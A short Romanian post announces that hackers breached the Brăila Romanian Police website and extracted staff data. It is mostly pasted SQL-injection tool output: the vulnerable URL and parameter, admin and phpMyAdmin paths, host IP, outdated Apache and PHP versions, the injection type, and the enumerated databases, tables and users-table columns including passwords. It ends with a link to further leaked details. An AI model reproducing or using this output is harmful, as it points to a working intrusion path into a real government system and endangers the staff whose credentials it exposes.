Site-ul Politiei Romane din Braila a fost spart

Hackerii romani au descoperit o vulnerabilitate in site-ul Politiei Romane din Braila, si au exploatat-o, extragand date despre personal:

1. Vulnerable page: br.politiaromana.ro/trafic.php?act=sesizare_view&id=7
2. admin page: br.politiaromana.ro/admin
3.             br.politiaromana.ro/phpmyadmin
5. Host IP: 213.177.4.4
6. Web Server: Apache/1.3.34 (Debian) PHP/4.4.4-8+etch4
7. Powered-by: PHP/4.4.4-8+etch4
8. Keyword Found: data
9. Injection type is Integer
10. DB Server: MySQL
11. Current DB: _br
12. MySQL error based injection method can be used!
13. Data Base Found: information_schema
14. Data Base Found: ?br
15. Data Base Found: _br
16. Data Base Found: test
17. Count(table_name) of information_schema.tables Where table_schema=0x5F6272 is 8
18. Can not get all tables by group_concat!
19. Count(table_name) of information_schema.tables Where table_schema=0x5F6272 is 8
20. Table found: bul_presa
21. Table found: comunicate
22. Table found: note_presa
23. Table found: rights
24. Table found: sefi
25. Table found: sesizari
26. Table found: sesizari_images
27. Table found: users
28. Count(column_name) of information_schema.columns Where table_schema=0x5F6272 AND table_name=0x7573657273 is 3
29. Column found: id
30. Column found: user
31. Column found: password

Mai multe informatii aici: http://pastebin.com/9HD0pP97